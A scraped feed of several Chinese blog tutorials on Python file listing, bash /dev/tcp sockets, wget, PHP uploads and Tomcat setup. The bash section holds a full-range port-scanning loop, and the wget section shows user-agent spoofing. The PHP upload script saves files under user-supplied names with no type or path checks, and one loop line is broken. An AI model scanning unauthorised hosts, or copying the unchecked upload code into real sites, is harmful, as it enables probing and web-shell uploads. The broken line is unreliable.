若要取得所有檔案的絕對路徑，讓程式逐一處理的話，可以這樣寫：\n#!/usr/bin/python # -*- coding: utf-8 -*- from os import walk from os.path import join # 指定要列出所有檔案的目錄 mypath = \u0026#34;/var/log\u0026#34; # 遞迴列出所有檔案的絕對路徑 for root, dirs, files in walk(mypath): for f in files: fullpath = join(root, f) print(fullpath) 這樣執行後，不管該路徑之下有多少層子目錄，都會自動列出所有的檔案路徑，輸出會類似這樣：\n/var/log/Xorg.0.log /var/log/messages /var/log/bootstrap.log [略] /var/log/boot.log /var/log/apt/term.log /var/log/apt/history.log /var/log/fsck/checkfs /var/log/fsck/checkroot 參考資料 StackOverflow ","permalink":"https://blog.gtwang.org/programming/python-list-all-files-in-directory/","summary":"\u003cp\u003e這裡介紹如何在 Python 中列出目錄中的檔案，並且配合各種篩選方式，取得符合條件的檔案列表。\u003c/p\u003e\n\u003cp\u003e在使用 Python 開發處理檔案的程式時，時常會需要把一個目錄中的檔案名稱全部列出來，然後再使用迴圈對每一個檔案進行後續的處理，以下是各種取得目錄中所有檔案名稱的方法與範例程式碼。\u003c/p\u003e","title":"Python 列出目錄中所有檔案教學：os.listdir 與 os.walk"},{"content":"這裡示範如何使用 bash 指令稿開啟 TCP/UDP 的 socket，進行各種網路診斷工作。\n作為網管或是 Linux 系統管理者，使用 netcat、wget 或 curl 這類的指令檢查遠端伺服器的網路服務應該算是基本技能，而且是時常會需要做的工作之一，但是如果遇到系統上沒有這類的工具可用時，我們就可以改用 bash shell 內建的一些功能來達到類似的效果。\n在 Linux 系統上我們可以藉由 /dev/tcp 與 /dev/udp 底下的設備檔來開啟 TCP 與 UDP 的網路連線，以下是一些開啟 TCP 與 UDP 連線的 bash 指令稿範例。\nBash 開啟 TCP/UCP 連線 在 bash 中，我們可以使用以下這個語法來開啟 TCP 或是 UDP 的 socket：\n# 開啟輸入與輸出的 socket exec FILE_DESCRIPTOR\u0026lt;\u0026gt;/dev/PROTOCOL/HOST/PORT 這個指令各部份的意義如下：\nFILE_DESCRIPTOR socket 的檔案代碼，值為大於或等於零的整數，而 0、1 與 2 分別代表系統的標準輸入（stdin）、標準輸出（stdout）與標準錯誤（stderr），所以我們能使用的值是從 3 開始。 \u0026lt;\u0026gt; 代表此 socket 同時以讀取與寫入的模式開啟。 PROTOCOL 傳輸協定，可為 tcp 或是 udp。 HOST 主機名稱或是 IP 位址。 PORT 連接埠號碼。 若要關閉 socket，則執行：\n# 關閉輸入 socket exec FILE_DESCRIPTOR\u0026lt;\u0026amp;- # 關閉輸出 socket exec FILE_DESCRIPTOR\u0026gt;\u0026amp;- 測試網頁伺服器 以下是一個實際的範例，這個範例會使用 bash 的只令開啟連線至 Google 網頁的 socket，下載網頁資料：\n#!/bin/bash # 開啟連線至 Google 網頁的 socket exec 3\u0026lt;\u0026gt;/dev/tcp/www.google.com.tw/80 # 送出 HTTP 請求 echo -e \u0026#34;GET / HTTP/1.1\\n\\n\u0026#34; \u0026gt;\u0026amp;3 # 接收網頁內容，1 秒後自動停止接收資料 timeout 1 cat \u0026lt;\u0026amp;3 # 關閉輸入與輸出 socket exec 3\u0026lt;\u0026amp;- exec 3\u0026gt;\u0026amp;- 這個範例可分為四個部份：\n開啟一個 TCP socket 連到 www.google.com.tw 這台主機的 80 連接埠，將檔案代碼設定為 3。 使用 echo 將 HTTP 請求的內容透過檔案代碼 3 送給 Google 網頁伺服器。 從檔案代碼 3 讀取來自於 Google 網頁伺服器的網頁資料，用 cat 輸出。 關閉輸入與輸出的 socket。 執行之後就會輸出 Google 網頁的原始 HTML 碼。\n查詢 SSH 伺服器版本 這是一個檢查 SSH 伺服器版本的範例，用法大同小異：\n#!/bin/bash # 開啟 socket，連線至 192.168.0.1 的 SSH 伺服器 exec 3\u0026lt;/dev/tcp/192.168.0.1/22 # 接收 SSH 的版本資訊，1 秒後自動停止接收資料 timeout 1 cat \u0026lt;\u0026amp;3 # 關閉輸入與輸出 socket exec 3\u0026lt;\u0026amp;- exec 3\u0026gt;\u0026amp;- 而上面這個檢查 SSH 版本的範例可以改寫為以下這個精簡的版本：\n#!/bin/bash # 檢查 192.168.0.1 的 SSH 伺服器版本 timeout 1 cat \u0026lt;/dev/tcp/192.168.0.1/22 取得時間 這是一個透過 DAYTIME 協定，從伺服器取得目前時間的範例：\n#!/bin/bash # 取的時間資訊 cat \u0026lt;/dev/tcp/time.nist.gov/13 檢查網頁連線 這個範例可以用來檢查網頁伺服器是否有正常運作，也就是測試伺服器的 80 連接埠是否可以正常連接：\n#!/bin/bash # 伺服器資訊 HOST=www.mit.edu PORT=80 (echo \u0026gt;/dev/tcp/${HOST}/${PORT}) \u0026amp;\u0026gt;/dev/null if [ $? -eq 0 ]; then echo \u0026#34;伺服器連接成功。\u0026#34; else echo \u0026#34;伺服器連接失敗！\u0026#34; fi 掃描連接埠 這個範例可以用來掃描主機的連接埠（port），看看哪些服務有開啟：\n#!/bin/bash # 要掃描的主機 HOST=192.168.0.1 # 要掃描的連接埠範圍 PORT_BEGIN=1 PORT_END=65535 for ((port=$PORT_BEGIN; port\u0026lt;=$PORT_END; port++)) do (echo \u0026gt;/dev/tcp/$HOST/$port) \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 \u0026amp;\u0026amp; echo \u0026#34;連接埠 $port 有開啟\u0026#34; done 參考資料 Xmodulo ","permalink":"https://blog.gtwang.org/programming/bash-tutorial-open-tcp-udp-socket/","summary":"\u003cp\u003e這裡示範如何使用 bash 指令稿開啟 TCP/UDP 的 socket，進行各種網路診斷工作。\u003c/p\u003e\n\u003cp\u003e作為網管或是 Linux 系統管理者，使用 \u003ca href=\"/linux/linux-utility-netcat-examples/\"\u003enetcat\u003c/a\u003e、\u003ca href=\"/linux/linux-wget-command-download-web-pages-and-files-tutorial-examples/\"\u003ewget\u003c/a\u003e 或 \u003ccode\u003ecurl\u003c/code\u003e 這類的指令檢查遠端伺服器的網路服務應該算是基本技能，而且是時常會需要做的工作之一，但是如果遇到系統上沒有這類的工具可用時，我們就可以改用 bash shell 內建的一些功能來達到類似的效果。\u003c/p\u003e","title":"Bash 程式設計教學：開啟 TCP/UDP Socket 網路連線"},{"content":"這裡介紹如何在 Linux 中使用 wget 指令，自動從網路上下載各種的網頁、檔案或目錄。\nwget 是一個功能強大的自動檔案下載工具，在大部份的 Linux 系統上都會內建這個指令，其支援各式各樣的下載方式，以下將介紹 wget 的使用方式，以及各式各樣的指令稿範例。\n基本下載檔案 若要下載網路上的檔案，可執行 wget 加上檔案的網址即可立即下載：\nwget http://ftp.gnu.org/gnu/wget/wget-1.19.tar.gz wget 也支援 FTP 協定：\nwget ftp://ftp.gnu.org/gnu/wget/wget-1.19.tar.gz 若要一次下載多個檔案，就把所有的網址都放在 wget 的參數中即可：\nwget http://ftp.gnu.org/gnu/wget/wget-1.19.tar.gz http://ftp.gnu.org/gnu/wget/wget-1.19.tar.gz.sig 指定儲存的檔名 若要指定下載檔案儲存在硬碟中的檔名，可以使用 -O 參數：\nwget -O wget.tar.gz http://ftp.gnu.org/gnu/wget/wget-1.19.tar.gz 從檔案中讀取網址 如果要下載的檔案非常多，我們可以將所有的網址放在文字檔中（一行一個網址），讓 wget 直接從檔案中讀取網址來下載檔案。\n假設存放網址的 url.txt 檔案內容如下：\nhttp://ftp.gnu.org/gnu/wget/wget-1.18.tar.gz http://ftp.gnu.org/gnu/wget/wget-1.18.tar.gz.sig http://ftp.gnu.org/gnu/wget/wget-1.19.tar.gz http://ftp.gnu.org/gnu/wget/wget-1.19.tar.gz.sig 使用 wget 一次下載所有的檔案：\nwget -i url.txt 檔案續傳 如果下載大型檔案中途斷線，檔案只下載了一部分，這時候可以使用 wget 的 -c 參數從上次中斷的地方繼續下載，例如續傳 Ubuntu Linux 的 iso 檔：\nwget -c http://releases.ubuntu.com/16.04.3/ubuntu-16.04.3-desktop-amd64.iso 進行續傳的時候，進度列中會以加號表示之前下載的部分：\n如果斷線後重新下載檔案，但沒有加上 -c 參數的話，wget 會自動將後來下載檔案的檔名加上 .1、.2 等數字，分開儲存同一個檔案下載多次的結果。\n背景下載 如果下載的檔案很大，要等很久的話，可以使用 -b 參數讓 wget 在背景慢慢下載，並指定一個紀錄輸出訊息用的記錄檔：\nwget -b wget_log.txt http://releases.ubuntu.com/16.04.3/ubuntu-16.04.3-desktop-amd64.iso 這樣 wget 就會自動在背景下載檔案，將所有的訊息寫在 wget_log.txt 這個檔案中。\n限制檔案下載速度 如果不想讓 wget 在下載檔案時，佔用了全部的網路頻寬，可以使用 --limit-rate 參數指定檔案下載的速度上限值：\nwget --limit-rate=100k http://releases.ubuntu.com/16.04.3/ubuntu-16.04.3-desktop-amd64.iso 這個例子會把檔案下載速度限制在每秒 100KB 以內：\nHTTP 與 FTP 的帳號與密碼 wget 也可以從需要帳號與密碼的伺服器下載檔案，若是 http 的網頁伺服器則使用：\nwget --http-user=my_user --http-password=my_password http://www.example.com/my_file 若是 FTP 的伺服器，則使用：\nwget --ftp-user=my_user --ftp-password=my_password ftp://ftp.example.com/my_file 重新嘗試次數 在網路很不穩定時，可以嘗試使用 --tries 增加重新嘗試次數，讓 wget 持續嘗試下載檔案：\nwget --tries=50 http://releases.ubuntu.com/16.04.3/ubuntu-16.04.3-desktop-amd64.iso 進階用法 以下是一些比較進階的 wget 用法與範例，適合比較有經驗的程式設計者或系統管理者使用。\n偽裝瀏覽器 正常使用 wget 時下載檔案時，其 user agent 會顯示 wget 的版本資訊：\nwget https://blog.gtwang.org/gtwang-url-128.png 這個資訊會記錄在網頁伺服器的紀錄檔中：\n66.249.79.20 - - [25/Aug/2017:09:42:44 +0800] \"GET /gtwang-url-128.png HTTP/1.1\" 200 5289 \"-\" \"Wget/1.14 (linux-gnu)\" 網頁伺服器可以很容易靠著 user agent 辨識出這個連線是由 wget 所發出來的。\n如果想要將 wget 偽裝成一般的瀏覽器，可以修改 user agent 的設定：\nwget --user-agent=\u0026#34;Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko\u0026#34; https://blog.gtwang.org/gtwang-url-128.png 這樣其所發出的 http 請求就會跟一般的瀏覽器幾乎相同：\n66.249.79.20 - - [25/Aug/2017:09:44:53 +0800] \"GET /gtwang-url-128.png HTTP/1.1\" 200 5289 \"-\" \"Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko\" 模仿 Spider wget 的 --spider 功能可以模仿網路的 spider，只檢查指定的檔案字否存在，但是不下載任何資料：\nwget --spider http://releases.ubuntu.com/16.04.3/ubuntu-16.04.3-desktop-amd64.iso 輸出為：\n下載整個網站 如果要把整個網站都下載下來（砍站），可以使用 --mirror 參數：\nwget --mirror -p --convert-links -P ./my_folder http://edition.cnn.com/ 這樣就會將 http://edition.cnn.com/ 整個網站的內容全部下載下來，放在 ./my_folder 目錄下。以下是這裡使用到的參數意義：\n--mirror：下載整個網站。 -p：自動下載顯示網頁所需要的所有相關檔案。 --convert-links：自動將下載網頁中的超連結，轉換為本地的連結。 -P ./my_folder：將下載的檔案放在 ./my_folder 目錄下。 設定下載資料大小上限 如果在使用 wget 下載很多個檔案時，會有硬碟空間不足的疑慮，可以使用 -Q 參數來指定累積下載資料的大小上限，如果下載資料的大小總和超過這個值的時候，就會停止下載：\nwget -Q5m -i url.txt 這個例子會下載 url.txt 檔案中所列的檔案，若下載的資料超過 5MB 時，就會停止下載動作。\n遞迴下載特定類型檔案 如果要從網站上下載特定類型的檔案，可以使用 -r 遞迴下載，並且配合 -A 指定下載的檔案類型，例如從網站上下載所有的 PDF 檔：\nwget -r -A.pdf http://www.example.com/ 代理伺服器（Proxy） 若要讓 wget 透過代理伺服器抓取資料，可以在 ~/.wgetrc 這個設定檔中加入代理伺服器的設定：\nuse_proxy=yes http_proxy=http://proxy.yoyodyne.com:18023/ 這樣在使用 wget 就會自動使用這裡的代理伺服器了。\n如果不想更改 ~/.wgetrc 設定檔，也可以直接在執行 wget 時用 -e 參數來指定代理伺服器：\nwget -e use_proxy=yes -e http_proxy=http://proxy.yoyodyne.com:18023/ http://www.example.com/ 以下是各種代理伺服器的設定方式，以及帳號與密碼的寫法：\nuse_proxy=on http_proxy=http://username:password@proxy.server.address:port/ https_proxy=http://username:password@proxy.server.address:port/ ftp_proxy=http://username:password@proxy.server.address:port/ 參考資料 The Geek Stuff Tecmint Tecmint HTG nixCraft ","permalink":"https://blog.gtwang.org/linux/linux-wget-command-download-web-pages-and-files-tutorial-examples/","summary":"\u003cp\u003e這裡介紹如何在 Linux 中使用 \u003ccode\u003ewget\u003c/code\u003e 指令，自動從網路上下載各種的網頁、檔案或目錄。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ewget\u003c/code\u003e 是一個功能強大的自動檔案下載工具，在大部份的 Linux 系統上都會內建這個指令，其支援各式各樣的下載方式，以下將介紹 \u003ccode\u003ewget\u003c/code\u003e 的使用方式，以及各式各樣的指令稿範例。\u003c/p\u003e","title":"Linux 使用 wget 指令自動下載網頁檔案教學與範例"},{"content":"這裡介紹如何修改 php.ini 設定檔，解除 PHP 上傳大檔案限制。\n編輯 PHP 的 php.ini 設定檔，放寬檔案上傳大小相關的設定：\n; 上傳檔案大小上限（單一檔案大小） upload_max_filesize = 50M ; POST 大小上限（所有檔案大小加總） post_max_size = 200M ; 記憶體用量上限 memory_limit = 512M 這三個設定值可以依照自己的需求來調整，大原則就是「記憶體用量上限」一定要比「POST 大小上限」更大，而「POST 大小上限」則要比「上傳檔案大小上限」更大，也就是這樣：\n記憶體用量上限 \u0026gt; POST 大小上限 \u0026gt; 上傳檔案大小上限\n上傳大型檔案通常都會需要比較久的時間，而 PHP 預設的設定不允許 PHP 指令稿執行太久，如果這部分沒有調整的話，可能會造成檔案上傳到一半，程式就被系統終止了，這樣也是傳不上去，所以要再調整 PHP 指令稿執行時間的設定值，讓 PHP 指令稿可以執行比較久一點，讓檔案可以傳的完。\n; PHP 指令稿執行時間上限（秒） max_execution_time = 600 ; PHP 指令稿解析輸入資料時間上限（秒） max_input_time = 600 若擔心網路不穩造成傳大檔案時容易斷線的話，可以嘗試將 socket 等待逾時的設定調大一點：\n; socket 等待逾時（秒） default_socket_timeout = 600 若有使用 MySQL 資料庫的連線，可以修改一下 MySQL 連線逾時的設定，避免上傳檔案等待太久，造成資料庫連線中斷：\n; MySQL 資料庫連線逾時（秒，-1 代表永不斷線） mysql.connect_timeout = -1 更改完 php.ini 設定檔之後，重新啟動 Apache 伺服器，讓新的設定生效：\nsudo service httpd restart ","permalink":"https://blog.gtwang.org/linux/php-ini-large-file-upload-configuration/","summary":"\u003cp\u003e這裡介紹如何修改 \u003ccode\u003ephp.ini\u003c/code\u003e 設定檔，解除 PHP 上傳大檔案限制。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e編輯 PHP 的 \u003ccode\u003ephp.ini\u003c/code\u003e 設定檔，放寬檔案上傳大小相關的設定：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dosini\" data-lang=\"dosini\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e; 上傳檔案大小上限（單一檔案大小）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"na\"\u003eupload_max_filesize\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e50M\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e; POST 大小上限（所有檔案大小加總）\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"na\"\u003epost_max_size\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e200M\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e; 記憶體用量上限\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"na\"\u003ememory_limit\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e512M\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e這三個設定值可以依照自己的需求來調整，大原則就是「記憶體用量上限」一定要比「POST 大小上限」更大，而「POST 大小上限」則要比「上傳檔案大小上限」更大，也就是這樣：\u003c/p\u003e","title":"解除 PHP 上傳大檔案限制，修改 php.ini 設定檔"},{"content":"這裡整理了一些網頁 \u0026lt;input\u0026gt; 上傳檔案時，使用 accept 限制上傳檔案類型的用法與範例。\n網頁表單的 \u0026lt;input\u0026gt; 可以用來上傳檔案，如果想要限制使用者只能上傳某些特定的檔案類型，可以使用 accept 屬性來調整可接受的檔案類型。\n指定副檔名 accept 可以使用副檔名來指定可接受的檔案類型，例如只接受 *.csv 的逗點分隔檔案：\n\u0026lt;input type=\u0026#34;file\u0026#34; accept=\u0026#34;.csv\u0026#34; /\u0026gt; 只接受 PDF 檔案：\n\u0026lt;input type=\u0026#34;file\u0026#34; accept=\u0026#34;.pdf\u0026#34; /\u0026gt; 若可接受多種副檔名，則使用逗號分隔不同的副檔名，例如接受 *.csv 與 *.xls 兩種檔案格式：\n\u0026lt;input type=\u0026#34;file\u0026#34; accept=\u0026#34;.csv,.xls\u0026#34; /\u0026gt; 指定網際網路媒體型式 accept 亦可使用網際網路媒體型式（media type）來指定可接受的檔案類型。例如只接受影像圖檔（包含 jpg、png、gif 等各種圖檔）：\n\u0026lt;input type=\u0026#34;file\u0026#34; accept=\u0026#34;image/*\u0026#34; /\u0026gt; 只接受網頁檔（*.htm 與 *.html 檔）：\n\u0026lt;input type=\u0026#34;file\u0026#34; accept=\u0026#34;text/html\u0026#34; /\u0026gt; 只接受影片檔（包含 avi、mp4、mpg 等）：\n\u0026lt;input type=\u0026#34;file\u0026#34; accept=\u0026#34;video/*\u0026#34; /\u0026gt; 只接受聲音檔（包含 mp3、wav 等）：\n\u0026lt;input type=\u0026#34;file\u0026#34; accept=\u0026#34;audio/*\u0026#34; /\u0026gt; 使用逗號分隔多種檔案格式，只接受網頁、*.txt 與 *.csv 檔：\n\u0026lt;input type=\u0026#34;file\u0026#34; accept=\u0026#34;text/html,.txt,.csv\u0026#34; /\u0026gt; 以 JavaScript 檢查副檔名 除了使用 \u0026lt;input\u0026gt; 的 accept 之外，也可以使用 JavaScript 來檢查副檔名。\n\u0026lt;script type=\u0026#34;text/javascript\u0026#34; language=\u0026#34;javascript\u0026#34;\u0026gt; function checkfile(sender) { // 可接受的附檔名 var validExts = new Array(\u0026#34;.xlsx\u0026#34;, \u0026#34;.xls\u0026#34;, \u0026#34;.csv\u0026#34;); var fileExt = sender.value; fileExt = fileExt.substring(fileExt.lastIndexOf(\u0026#39;.\u0026#39;)); if (validExts.indexOf(fileExt) \u0026lt; 0) { alert(\u0026#34;檔案類型錯誤，可接受的副檔名有：\u0026#34; + validExts.toString()); sender.value = null; return false; } else return true; } \u0026lt;/script\u0026gt; 這段 JavaScript 定義了一個用來檢查副檔名的 checkfile 函數，在網頁中加入這段 JavaScript 程式碼之後，接著在需要檢查檔案類型的 \u0026lt;input\u0026gt; 中設定 onchange 事件處理程式。\n\u0026lt;form method=\u0026#34;post\u0026#34; enctype=\u0026#34;multipart/form-data\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;file\u0026#34; name=\u0026#34;my_file\u0026#34; onchange=\u0026#34;checkfile(this);\u0026#34; /\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;Upload\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; 參考資料 StackOverflow ","permalink":"https://blog.gtwang.org/web-development/html-input-accept-attribute-tutorial/","summary":"\u003cp\u003e這裡整理了一些網頁 \u003ccode\u003e\u0026lt;input\u0026gt;\u003c/code\u003e 上傳檔案時，使用 \u003ccode\u003eaccept\u003c/code\u003e 限制上傳檔案類型的用法與範例。\u003c/p\u003e\n\u003cp\u003e網頁表單的 \u003ccode\u003e\u0026lt;input\u0026gt;\u003c/code\u003e 可以用來上傳檔案，如果想要限制使用者只能上傳某些特定的檔案類型，可以使用 \u003ccode\u003eaccept\u003c/code\u003e 屬性來調整可接受的檔案類型。\u003c/p\u003e","title":"網頁 input 使用 accept 限制上傳檔案類型"},{"content":"這裡介紹如何使用網頁與 PHP 上傳檔案，並提供單檔與多檔上傳的範例程式碼。\n檔案上傳是網頁設計中常用的功能，若用 PHP 開發網站的話，可以使用其 $_FILES 變數來接收從網頁上傳的檔案，以下提供 $_FILES 變數的使用方法與範例程式碼。\nPHP 上傳檔案 建立一個上傳檔案用的 HTML 網頁，主要的內容如下：\n\u0026lt;html\u0026gt;\u0026lt;body\u0026gt; \u0026lt;form method=\u0026#34;post\u0026#34; enctype=\u0026#34;multipart/form-data\u0026#34; action=\u0026#34;upload.php\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;file\u0026#34; name=\u0026#34;my_file\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;Upload\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; 這個網頁表單包含了一個上傳檔案用的 \u0026lt;input\u0026gt;（其 type 設定為 \u0026quot;file\u0026quot;），再加上一個送出的按鈕。網頁表單中如果包含檔案的上傳，就要把 enctype 設定為 \u0026quot;multipart/form-data\u0026quot;。\n接著另外建立一個接收檔案用的 upload.php 指令稿，內容如下：\n\u0026lt;?php # 檢查檔案是否上傳成功 if ($_FILES[\u0026#39;my_file\u0026#39;][\u0026#39;error\u0026#39;] === UPLOAD_ERR_OK){ echo \u0026#39;檔案名稱: \u0026#39; . $_FILES[\u0026#39;my_file\u0026#39;][\u0026#39;name\u0026#39;] . \u0026#39;\u0026lt;br/\u0026gt;\u0026#39;; echo \u0026#39;檔案類型: \u0026#39; . $_FILES[\u0026#39;my_file\u0026#39;][\u0026#39;type\u0026#39;] . \u0026#39;\u0026lt;br/\u0026gt;\u0026#39;; echo \u0026#39;檔案大小: \u0026#39; . ($_FILES[\u0026#39;my_file\u0026#39;][\u0026#39;size\u0026#39;] / 1024) . \u0026#39; KB\u0026lt;br/\u0026gt;\u0026#39;; echo \u0026#39;暫存名稱: \u0026#39; . $_FILES[\u0026#39;my_file\u0026#39;][\u0026#39;tmp_name\u0026#39;] . \u0026#39;\u0026lt;br/\u0026gt;\u0026#39;; # 檢查檔案是否已經存在 if (file_exists(\u0026#39;upload/\u0026#39; . $_FILES[\u0026#39;my_file\u0026#39;][\u0026#39;name\u0026#39;])){ echo \u0026#39;檔案已存在。\u0026lt;br/\u0026gt;\u0026#39;; } else { $file = $_FILES[\u0026#39;my_file\u0026#39;][\u0026#39;tmp_name\u0026#39;]; $dest = \u0026#39;upload/\u0026#39; . $_FILES[\u0026#39;my_file\u0026#39;][\u0026#39;name\u0026#39;]; # 將檔案移至指定位置 move_uploaded_file($file, $dest); } } else { echo \u0026#39;錯誤代碼：\u0026#39; . $_FILES[\u0026#39;my_file\u0026#39;][\u0026#39;error\u0026#39;] . \u0026#39;\u0026lt;br/\u0026gt;\u0026#39;; } ?\u0026gt; 在這個 PHP 程式中，會先檢查 $_FILES['my_file']['error'] 這個變數，確認檔案是否上傳成功，若成功的話其值會是 UPLOAD_ERR_OK，若失敗的話就會是其他的值，各種錯誤的值請參考 PHP 的文件。\n確認檔案有上傳成功之後，就可以透過 $_FILES 來取得檔案的各種資訊，這裡的 my_file 是檔案的名稱，要跟上傳網頁的 \u0026lt;input\u0026gt; 名稱對應。\n檔案的內容在上傳之後，會先放置在一個暫存檔中，這個暫存檔的位置記錄在 $_FILES['my_file']['tmp_name'] 變數中，這裡我們先檢查一下該檔案是否已經存在，若沒有重複上傳的話，就把上傳的檔案放進 upload 目錄中（這個目錄請自己建立，並開啟寫入權限）。\nPHP 上傳多個檔案 若要讓網頁可以一次上傳多個檔案，只要在 \u0026lt;input\u0026gt; 中加上 multiple 屬性，並將檔案名稱加上 []：\n\u0026lt;html\u0026gt;\u0026lt;body\u0026gt; \u0026lt;form method=\u0026#34;post\u0026#34; enctype=\u0026#34;multipart/form-data\u0026#34; action=\u0026#34;upload.php\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;file\u0026#34; name=\u0026#34;my_file[]\u0026#34; multiple\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;Upload\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; 建立接收檔案的 upload.php 指令稿，檔案的處理方式跟單一檔案的狀況差不多，只是上傳多檔案時，$_FILES['my_file']['name'] 這類的變數都會變成陣列，取用時要多加上一個索引：\n\u0026lt;?php # 取得上傳檔案數量 $fileCount = count($_FILES[\u0026#39;my_file\u0026#39;][\u0026#39;name\u0026#39;]); for ($i = ; $i \u0026lt; $fileCount; $i++) { # 檢查檔案是否上傳成功 if ($_FILES[\u0026#39;my_file\u0026#39;][\u0026#39;error\u0026#39;][$i] === UPLOAD_ERR_OK){ echo \u0026#39;檔案名稱: \u0026#39; . $_FILES[\u0026#39;my_file\u0026#39;][\u0026#39;name\u0026#39;][$i] . \u0026#39;\u0026lt;br/\u0026gt;\u0026#39;; echo \u0026#39;檔案類型: \u0026#39; . $_FILES[\u0026#39;my_file\u0026#39;][\u0026#39;type\u0026#39;][$i] . \u0026#39;\u0026lt;br/\u0026gt;\u0026#39;; echo \u0026#39;檔案大小: \u0026#39; . ($_FILES[\u0026#39;my_file\u0026#39;][\u0026#39;size\u0026#39;][$i] / 1024) . \u0026#39; KB\u0026lt;br/\u0026gt;\u0026#39;; echo \u0026#39;暫存名稱: \u0026#39; . $_FILES[\u0026#39;my_file\u0026#39;][\u0026#39;tmp_name\u0026#39;][$i] . \u0026#39;\u0026lt;br/\u0026gt;\u0026#39;; # 檢查檔案是否已經存在 if (file_exists(\u0026#39;upload/\u0026#39; . $_FILES[\u0026#39;my_file\u0026#39;][\u0026#39;name\u0026#39;][$i])){ echo \u0026#39;檔案已存在。\u0026lt;br/\u0026gt;\u0026#39;; } else { $file = $_FILES[\u0026#39;my_file\u0026#39;][\u0026#39;tmp_name\u0026#39;][$i]; $dest = \u0026#39;upload/\u0026#39; . $_FILES[\u0026#39;my_file\u0026#39;][\u0026#39;name\u0026#39;][$i]; # 將檔案移至指定位置 move_uploaded_file($file, $dest); } } else { echo \u0026#39;錯誤代碼：\u0026#39; . $_FILES[\u0026#39;my_file\u0026#39;][\u0026#39;error\u0026#39;] . \u0026#39;\u0026lt;br/\u0026gt;\u0026#39;; } } ?\u0026gt; ","permalink":"https://blog.gtwang.org/programming/php-upload-files-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用網頁與 PHP 上傳檔案，並提供單檔與多檔上傳的範例程式碼。\u003c/p\u003e\n\u003cp\u003e檔案上傳是網頁設計中常用的功能，若用 PHP 開發網站的話，可以使用其 \u003ccode\u003e$_FILES\u003c/code\u003e 變數來接收從網頁上傳的檔案，以下提供 \u003ccode\u003e$_FILES\u003c/code\u003e 變數的使用方法與範例程式碼。\u003c/p\u003e","title":"PHP 上傳檔案程式設計教學，$_FILES 多檔案用法"},{"content":"這裡介紹如何在 OpenSUSE 中使用 YaST 安裝 Tomcat 伺服器，並設定 Apache Tomcat Connector 結合兩個伺服器。\n在 OpenSUSE 中若要安裝 Tomcat 伺服器，可以使用 YaST 這個 OpenSUSE 特有的系統管理介面來安裝，方法非常簡單。\n若您是使用 CentOS Linux，請參考 CentOS Linux 7 安裝 Apache 2 與 Tomcat 8 伺服器步驟教學。\n安裝 Tomcat 8 伺服器 Step 1\n以 root 管理者權限 YaST 系統管理工具：\nsudo yast 選擇「Software」中的「Software Management」。\nStep 2\n以「tomcat」關鍵字搜尋套件。\nStep 3\n以 Tab 鍵、方向鍵與空白鍵選擇「tomcat」套件，選擇好之後，選擇「Accept」。\nStep 4\n接著會顯示所有的相依性套件，直接選擇「OK」進行安裝。\nStep 5\n等待下載與安裝套件。\nStep 6\n若沒有出現錯誤訊息的話，這樣就完成 Tomcat 的安裝了。\nStep 7\n安裝完成後，啟動 Tomcat 服務：\nsudo service tomcat start 檢查 Tomcat 服務是否有成功啟動：\nsudo service tomcat status 若狀態呈現綠色的 active，就表示成功啟動了：\nApache Proxy 設定 檢查 Tomcat 的 server.xml 中是否有 AJP 的設定，若沒有就自己加上去：\n\u0026lt;!-- Define an AJP 1.3 Connector on port 8009 --\u0026gt; \u0026lt;Connector port=\u0026#34;8009\u0026#34; protocol=\u0026#34;AJP/1.3\u0026#34; redirectPort=\u0026#34;8443\u0026#34; 